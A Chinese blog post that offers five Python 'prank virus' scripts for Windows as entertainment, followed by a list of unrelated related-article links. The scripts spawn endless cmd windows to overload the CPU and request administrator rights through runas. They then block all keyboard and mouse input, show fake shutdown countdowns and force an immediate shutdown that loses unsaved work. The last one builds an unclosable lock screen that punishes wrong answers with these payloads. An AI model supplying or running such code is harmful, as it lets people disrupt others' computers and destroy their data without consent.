Python-简单病毒程序合集(一)

前言:简单又有趣的Python恶搞代码,往往能给我们枯燥无味的生活带来一点乐趣,激发我们对编程的最原始的热爱。那么话不多说,我们直接开始今天的编程之路。

编程思路:本次我们将会用到os,paltform,threading,ctypes,sys,wmi等库

一:无限弹窗

import oswhile True:os.system('start cmd')

程序解释:这段代码将执行os库无限打开"cmd"窗口的命令,导致电脑CPU负载过大,电脑风扇直接起飞,系统出现严重卡顿。

运行效果:

fde9565cba41442799cf283caa2ed4b4.jpg

 

 

二:伪关机倒计时

import tkinter
import os
import threading
import time
import random
import platforms=['red','orange','yellow','green','blue','teal','purple','peru','gold','violet','salmon','navy','tan','maroon','azure']begin=12
def count_down():seconds=[]for i in range(begin,0,-1):seconds.append(i)return secondsdef windows():while len(count_down())>0:window = tkinter.Tk()window.title('{} {} {} {}警告!!!'.format(os.name,platform.machine(),platform.node(),platform.version()))window.geometry("{}x{}".format(1160,600))number=random.randint(0,14)tkinter.Label(window,text='{}系统将在{}秒后自动关机'.format(platform.system(),count_down()[0])*1,font=('楷体',30),bg='{}'.format(s[number]),width=1160,height=600).pack()window.mainloop()count_down().remove(count_down()[0])while begin>0:mark=threading.Thread(target=windows)mark.start()time.sleep(1)begin-=1

程序解释:程序运行后将会出现12->0的倒计时弹窗,且弹窗颜色会随机在15种颜色内变化。弹窗中央会提示系统将在X秒后将关机(但其实并不会真的关机)

运行效果:

73d5b3ced686432ca8a574e2dedc4cce.jpg

 

三:伪关机倒计时(进阶版)

import sys
import ctypes
import tkinter
import os
import threading
import time
import random
import platformdef is_admin():try:return ctypes.windll.shell32.IsUserAnAdmin()except:return Falseif is_admin():user32 = ctypes.WinDLL('user32.dll')user32.BlockInput(True)begin = 12s = ['red', 'orange', 'yellow', 'green', 'blue','teal', 'purple', 'peru', 'gold', 'violet','salmon', 'navy', 'tan', 'maroon', 'azure']def count_down():seconds = []for i in range(begin, 0, -1):seconds.append(i)return secondsdef windows():window = tkinter.Tk()window.title('{} {} {} {}警告!!!'.format(os.name,platform.machine(),platform.node(),platform.version()))window.geometry("{}x{}".format(1160, 600))number = random.randint(0, 14)tkinter.Label(window,text='{}系统将在{}秒后自动关机'.format(platform.system(), count_down()[0]) * 1,font=('楷体', 30),bg='{}'.format(s[number]),width=1160,height=600).pack()window.mainloop()count_down().remove(count_down()[0])while begin > 0:mark = threading.Thread(target=windows)mark.start()time.sleep(1)begin -= 1time.sleep(0)user32.BlockInput(False)else:ctypes.windll.shell32.ShellExecuteW(None,"runas", sys.executable, __file__, None, 1)

程序解释:程序运行之后将会让用户选择是否允许系统修改用户设备,如果用户点击“是”,则程序会像上面代码一样:出现12→0倒计时弹窗,且弹窗颜色会随机在15种颜色内变化。弹窗中央会提示系统将在X秒后将关机(但其实并不会真的关机),最重要的是,系统还会禁止用户的一切物理操作(包括内,外接鼠标和键盘,但不包括触摸板),即鼠标键盘失效;如果用户点击“否”,则程序自动跳过。

运行效果:

fb7dc71f28994dc3bdcfc5243a0be145.jpg

 3ed7cc9b6db543088e34f6f675c5a926.png

 

四:强制关机时钟炸弹

import sys
import ctypes
import tkinter
import os
import threading
import time
import random
import platformdef is_admin():try:return ctypes.windll.shell32.IsUserAnAdmin()except:return Falseif is_admin():user32 = ctypes.WinDLL('user32.dll')user32.BlockInput(True)begin = 12s = ['red', 'orange', 'yellow', 'green', 'blue','teal', 'purple', 'peru', 'gold', 'violet','salmon', 'navy', 'tan', 'maroon', 'azure']def count_down():seconds = []for i in range(begin, 0, -1):seconds.append(i)return secondsdef windows():window = tkinter.Tk()window.title('{} {} {} {}警告!!!'.format(os.name,platform.machine(),platform.node(),platform.version()))window.geometry("{}x{}".format(1160, 600))number = random.randint(0, 14)tkinter.Label(window,text='{}系统将在{}秒后自动关机'.format(platform.system(), count_down()[0]) * 1,font=('楷体', 30),bg='{}'.format(s[number]),width=1160,height=600).pack()window.mainloop()count_down().remove(count_down()[0])while begin > 0:mark = threading.Thread(target=windows)mark.start()time.sleep(1)begin -= 1time.sleep(0)user32.BlockInput(False)os.system('shutdown -f -s -t 0')else:ctypes.windll.shell32.ShellExecuteW(None,"runas", sys.executable, __file__, None, 1)

程序解释:程序运行之后,就像“ 三:伪关机倒计时(进阶版) ”一样,但是这次倒计时结束后程序会真的执行关机执令(而且是强制关机),这意味着用户的临时文件和临时数据都会丢失

运行效果:

8b2c58131de04ab28ed3291f0d271f24.jpg

997b4bce31f84694b5c1ee5e26ce9891.png

987db65d67a04b408ecfac92a5e5c55c.jpg

 

五:验证入口枷锁(Boss)

from tkinter import *
from tkinter import ttk
import platform
import os
import time
import wmi
import random
import sys
import ctypes
import threadingdef is_admin():try:return ctypes.windll.shell32.IsUserAnAdmin()except:return Falseif is_admin():# 验证失败处罚模块def punish_os():while True:os.system('start cmd')def punish_time():user32 = ctypes.WinDLL('user32.dll')user32.BlockInput(True)begin = 12s = ['red', 'orange', 'yellow', 'green', 'blue','teal', 'purple', 'peru', 'gold', 'violet','salmon', 'navy', 'tan', 'maroon', 'azure']def count_down():seconds = []for i in range(begin, 0, -1):seconds.append(i)return secondsdef windows():window = Tk()window.title('{} {} {} {}警告!!!'.format(os.name,platform.machine(),platform.node(),platform.version()))window.geometry("{}x{}".format(1160, 600))number = random.randint(0, 14)Label(window,text='{}系统将在{}秒后自动关机'.format(platform.system(), count_down()[0]) * 1,font=('楷体', 30),bg='{}'.format(s[number]),width=1160,height=600).pack()window.mainloop()count_down().remove(count_down()[0])while begin > 0:mark = threading.Thread(target=windows)mark.start()time.sleep(1)begin -= 1time.sleep(0)user32.BlockInput(False)os.system('shutdown -f -s -t 0')# 入口访问信息校对模块def proofread():s = []x = os.environ.get('USERNAME')y = platform.machine()s.append(x)w = wmi.WMI()for CS in w.Win32_ComputerSystem():s.append(CS.Manufacturer)s.append(y)return s# 验证入口模块w = Tk()screen_width = w.winfo_screenwidth()screen_height = w.winfo_screenheight()width = 600height = 350x = int((screen_width - width) / 2)y = int((screen_height - height) / 2)w.geometry('{}x{}+{}+{}'.format(width, height,x, y))w.resizable(False, False)w.protocol("WM_DELETE_WINDOW", lambda: None)w.title('系统类型:{} 主机名:{} 系统版本号:{} 计算机类型:{}'.format(platform.system(), platform.node(),platform.version(), platform.machine()))style = ttk.Style()style.configure('TButton', font=28, relief='sunken', fg='gold', bg='blue')def close_root():w.destroy()Label(w, text='你已授权本程序以管理员权限',font=60, bg='white', ).pack(pady=20, fill='x')button1 = Button(text="用户身份验证入口按钮",command=close_root, cursor='hand2').pack(pady=96, padx=80, side='left')button2 = Button(text="默认身份验证失败按钮",command=punish_os, cursor='hand2').pack(pady=98, padx=80, side='left')w.configure(bg='blue')w.iconbitmap('info')w.mainloop()# 加载模块win = Tk()screen_width = win.winfo_screenwidth()screen_height = win.winfo_screenheight()width = 600height = 350x = int((screen_width - width) / 2)y = int((screen_height - height) / 2)win.geometry('{}x{}+{}+{}'.format(width, height,x, y))win.title('正在进入用户验证界面,请耐心等待!')win.protocol("WM_DELETE_WINDOW", lambda: None)win.resizable(False,False)win.iconbitmap('warning')percent = StringVar()percent_label = Label(win, textvariable=percent, bg='white', font=('Arial', 20))percent_label.pack(fill='x', pady=40)progress = ttk.Progressbar(win, mode='determinate', orient='horizontal', length=370)progress.pack(pady=40)def start():progress.start()def stop():progress.stop()button3 = Button(win, text='Start(继续)',cursor='hand2', command=start).pack(side='left', padx=116)button4 = Button(win, text='Stop(暂停)',cursor='hand2', command=stop).pack(side='left', padx=110)def do_work():total = 48for i in range(total):progress.step(100 / total)percent.set('{:.0f}%'.format(progress['value']))win.update_idletasks()time.sleep(0.5)def close_win():win.destroy()do_work()close_win()win.mainloop()# 验证主体模块win = Tk()screen_width = win.winfo_screenwidth()screen_height = win.winfo_screenheight()width = 600height = 350x = int((screen_width - width) / 2)y = int((screen_height - height) / 2)win.geometry('{}x{}+{}+{}'.format(width, height,x, y))win.title('你有10分钟的时间输入相关验证信息,完成后先点击"核对完成"再点击"确认提交"!!!')win.iconbitmap('error')win.configure(bg='violet', cursor='hand2')win.resizable(False, False)def close_win():win.destroy()var_1 = StringVar()var_2 = StringVar()var_3 = StringVar()# 创建第一个标签和Entrylabel1 = Label(win, text="本机用户名")label1.pack(padx=80, pady=5)entry1 = Entry(win, textvariable=var_1)entry1.pack(padx=80, pady=5)# 创建第一个清除按钮def clear_entry1():entry1.delete(0, END)clear_button1 = Button(win, text="清除键1", command=clear_entry1)clear_button1.pack(padx=80, pady=10)# 创建第二个标签和Entrylabel2 = Label(win, text="本机生产商")label2.pack(padx=80, pady=5)entry2 = Entry(win, textvariable=var_2)entry2.pack(padx=80, pady=5)# 创建第二个清除按钮def clear_entry2():entry2.delete(0, END)clear_button2 = Button(win, text="清除键2", command=clear_entry2)clear_button2.pack(padx=80, pady=10)# 创建第三个标签和Entrylabel3 = Label(win, text="计算机类型")label3.pack(padx=80, pady=0)entry3 = Entry(win, textvariable=var_3)entry3.pack(padx=80, pady=0)# 创建第三个清除按钮def clear_entry3():entry3.delete(0, END)clear_button3 = Button(win, text="清除键3", command=clear_entry3)clear_button3.pack(padx=80, pady=10)def get_info():x = var_1.get()y = var_2.get()z = var_3.get()s = [x, y, z]return sstart_time = time.time()Button(win, text='核对完成', command=get_info).pack(padx=120, pady=0, side='left')Button(win, text='确认提交', command=close_win).pack(padx=120, pady=0, side='left')win.mainloop()end_time = time.time()if get_info()[0:3] == proofread() and end_time - start_time <= 600:passelse:punish_time()else:ctypes.windll.shell32.ShellExecuteW(None,"runas", sys.executable, __file__, None, 1)

程序解释:程序运行之后,首先会同上面一样,让用户选择是否允许系统修改用户设备,如果用户点击“是”,那么程序会先弹出来一个界面:让用户选择“用户验证入口”,还是“默认验证失败”。如果用户点击“默认验证失败按钮”,那么系统会执行惩罚:无限弹窗(同一);如果用户点击“用户验证入口按钮”,该窗口关闭,新窗口打开。程序进入加载验证模块阶段,界面上会显示加载进度,用户可选择“Stop(暂停)”或“Start(继续)”来控制进度条进度,进度条满100%后,该窗口关闭,新窗口打开。你以为这就完了,其实这两个窗口是无法关闭的,用户必须作出选择。进入第三个窗口,程序会让用户按照窗口标题提示填写相关信息(只给600秒时间),填写完毕后,程序计算所用时间并校对信息,两者都符合规定则程序跳过,否则程序执行惩罚:“ 四:强制关机时钟炸弹”。

运行效果:

8647b13fc6ce4ba99774085f05aaf541.jpg

340baf8ef75e404fafa8947f46e13d29.png

e81d44a35fd34d6f9cf8f276a6011ae5.png

2ed0a4fffe4f45a7a22fe03984a53a71.png

验证通过(如下所示):

ff7b14e4d5d0449bb08a0ff70598d236.png

验证失败(如下所示):

aefc10e5b9cb478e942271189b62047c.png

a996f634a5404effaa6f8d64b94331db.jpg

OK!今天的分享到此结束啦!

下期我会优化本章代码,并带来新程序哦。

期待你的教流指教,我是闪云-微星,我们下期不见不散!

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/19686.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

技术成长战略是什么?

文章目录 技术成长战略是什么&#xff1f;1. 前言2. 跟技术大牛学成长战略2.1 系统性能专家案例2.2 从开源到企业案例2.3 技术媒体大V案例2.4 案例小结 3. 学习金字塔和刻意训练4. 战略思维的诞生5. 建议 技术成长战略是什么&#xff1f; 1. 前言 在波波的微信技术交流群里头…

哪家云电脑便宜又好用?ToDesk云电脑、顺网云、达龙云全方位评测

陈老老老板&#x1f934; &#x1f9d9;‍♂️本文专栏&#xff1a;生活&#xff08;主要讲一下自己生活相关的内容&#xff09;生活就像海洋,只有意志坚强的人,才能到达彼岸。 &#x1f9d9;‍♂️本文简述&#xff1a;讲一下市面上云电脑的对比。 &#x1f9d9;‍♂️上一篇文…

(五)自定义组件

&#xff08;五&#xff09;自定义组件 1、 VS插件推荐2、开始创建自定义的组件2.1、 快速添加基础页面内容: vbase2.2、 随便写上内容 3、使用该组件3.1、具体步骤3.2、其他说明 1、 VS插件推荐 开始前&#xff0c;如果大家使用的是VS Code&#xff0c;我推荐安装Vue VSCode S…

Springboot+Vue的项目搭建(一)

一、JDK配置环境变量 1、在官网下载jdkJava Downloads | Oracle 中国 2、下载之后双击安装。 3、配置环境变量&#xff0c;做法&#xff1a;此电脑->右键->属性->高级系统设置 然后点击确定即可 点击winr java -version 检查一下是否配置成功 二、maven包管理器…

如何从微软官网下载运行库解决?微软官网教你如何获取最新运行库支持

当您在运行某些应用程序或游戏时遇到缺少运行库文件的问题&#xff0c;例如“unityplayer.dll文件丢失”&#xff0c;访问微软官方网站下载并安装最新的运行库是一个可靠且安全的解决方案。微软提供的运行库包含了多种语言环境下的库文件和支持&#xff0c;如Visual C Redistri…

tdengine学习笔记-整体架构及docker安装

官方文档&#xff1a;用 Docker 快速体验 TDengine | TDengine 文档 | 涛思数据 整体架构 TDENGINE是分布式&#xff0c;高可靠&#xff0c;支持水平扩展的架构设计 TDengine分布式架构的逻辑结构图如下 一个完整的 TDengine 系统是运行在一到多个物理节点上的&#xff0c;包含…

多线程——单例模式

目录 前言 一、设计模式 二、饿汉模式 三、懒汉模式 1.单线程版 2.多线程版 结尾 前言 前面的几篇文章中介绍了多线程编程的基础知识&#xff0c;在本篇文章开始&#xff0c;就会利用前面的多线程编程知识来编写一些代码案例&#xff0c;从而使大家可以更好的理解运用多…

关于Web Component

2024年8月14日 引言 Web Component 是一种用于构建可复用用户界面组件的技术&#xff0c;开发者可以创建自定义的 HTML 标签&#xff0c;并将其封装为包含逻辑和样式的独立组件&#xff0c;从而在任何 Web 应用中重复使用&#xff0c;并且可以做到无框架跨框架。 不同于 Vue…

【进阶系列】python的模块

模块 创建一个 .py 文件&#xff0c;这个文件就称之为 一个模块 Module 如何使用 import 想要B.py文件中&#xff0c;使用A.py文件&#xff0c;只需要在B.py文件中使用关键字import导入即可。 import A# 若A是一个包的话&#xff0c;可以这样写 import A.函数名from impor…

全志T113双核异构处理器的使用基于Tina Linux5.0——RTOS编译开发说明

3、RTOS编译开发说明 3.1、RTOS SDK与TinaLinux开发环境 RTOS SDK相关代码已集成到Tina Linux开发环境&#xff0c;Tina Linux开发环境下的rtos子目录即为RTOS开发环境。 ├──brandy ├──bsp ├──build ├──buildroot ├──build.sh >build/top_build.sh ├──…

十六.SpringCloudAlibaba极简入门-整合Grpc代替OpenFeign

前言 他来了他来了&#xff0c;停了快2个月了终于又开始更新文章啦&#xff0c;这次带来的绝对是干货&#xff01;&#xff01;&#xff01;。由于公司项目进行重构的时候考虑到&#xff0c;OpenFeign做为服务通信组件在高并发情况下有一定的性能瓶颈&#xff0c;所以将其替换…

【Linux】环境变量详解

Linux环境变量 1.环境变量分类2.环境变量相关指令3.常用的环境变量4.环境变量的组织方式5.获取环境变量6.命令行参数 1.环境变量分类 按生命周期划分&#xff1a; 永久的&#xff1a;在环境变量脚本文件中配置&#xff0c;用户每次登录时会自动执行这些脚本&#xff0c;相当于永…

SpringBoot项目搭建IEDA2023.1.2

导入依赖 ——————————————————

L0G1000 Linux基础知识(包含ssh报错处理)

1.vscode通过ssh链接云服务器 按教程https://github.com/InternLM/Tutorial/tree/camp4/docs/L0/linux 出现报错&#xff0c;是ssh配置原因 [23:40:18.788] Log Level: 2 [23:40:18.807] SSH Resolver called for “ssh-remotessh.intern-ai.org.cn”, attempt 1 [23:40:18.8…

使用 PyTorch-BigGraph 构建和部署大规模图嵌入的完整教程

当涉及到图数据时&#xff0c;复杂性是不可避免的。无论是社交网络中的庞大互联关系、像 Freebase 这样的知识图谱&#xff0c;还是推荐引擎中海量的数据量&#xff0c;处理如此规模的图数据都充满挑战。 尤其是当目标是生成能够准确捕捉这些关系本质的嵌入表示时&#xff0c;…

测试标题1111

前言 本文是该专栏的第68篇&#xff0c;后面会持续分享python爬虫干货知识&#xff0c;记得关注。 在本专栏之前&#xff0c;笔者有详细介绍京东滑块验证码的解决方法&#xff0c;感兴趣的同学&#xff0c;可以直接翻阅文章《Python如何解决“京东滑块验证码”(5)》进行查看。…

JDK8-17新特性

1.Java8新特性-Lambda表达式 2.1关于Java8新特性简介 Java 8是Java编程语言的一个重大版本更新&#xff0c;于2014年3月发布。它引入了许多新特性和改进&#xff0c;使得Java编程更加方便和高效。 下面是Java 8的主要新特性&#xff1a; Lambda表达式&#xff1a;Lambda表达式…

如何确保Python爬虫程序的稳定性和安全性?

在当今数字化时代&#xff0c;Python爬虫被广泛应用于数据采集和信息抓取。然而&#xff0c;确保爬虫程序的稳定性和安全性是开发过程中的重要考虑因素。本文将探讨如何通过技术手段和最佳实践来提高Python爬虫的稳定性和安全性&#xff0c;并提供代码示例。 稳定性保障 1. 异…

Axure二级菜单下拉交互实例

1.使用boxlabe进行基础布局 2.设置鼠标悬浮和选中状态 3.转换为动态面板 选中所有二级菜单,进行按钮组转换 选中所有二级菜单,进行动态面板转换 4.给用户管理增加显示/隐藏事件 1)选择toggle代表上拉和下拉切换加载 2)勾选Bring to Front,并选择Push/Pull Widgets代表收缩时…

基于智能推荐的图书电商系统的设计与实现

&#x1f497;博主介绍&#x1f497;&#xff1a;✌在职Java研发工程师、专注于程序设计、源码分享、技术交流、专注于Java技术领域和毕业设计✌ 温馨提示&#xff1a;文末有 CSDN 平台官方提供的老师 Wechat / QQ 名片 :) Java精品实战案例《700套》 2025最新毕业设计选题推荐…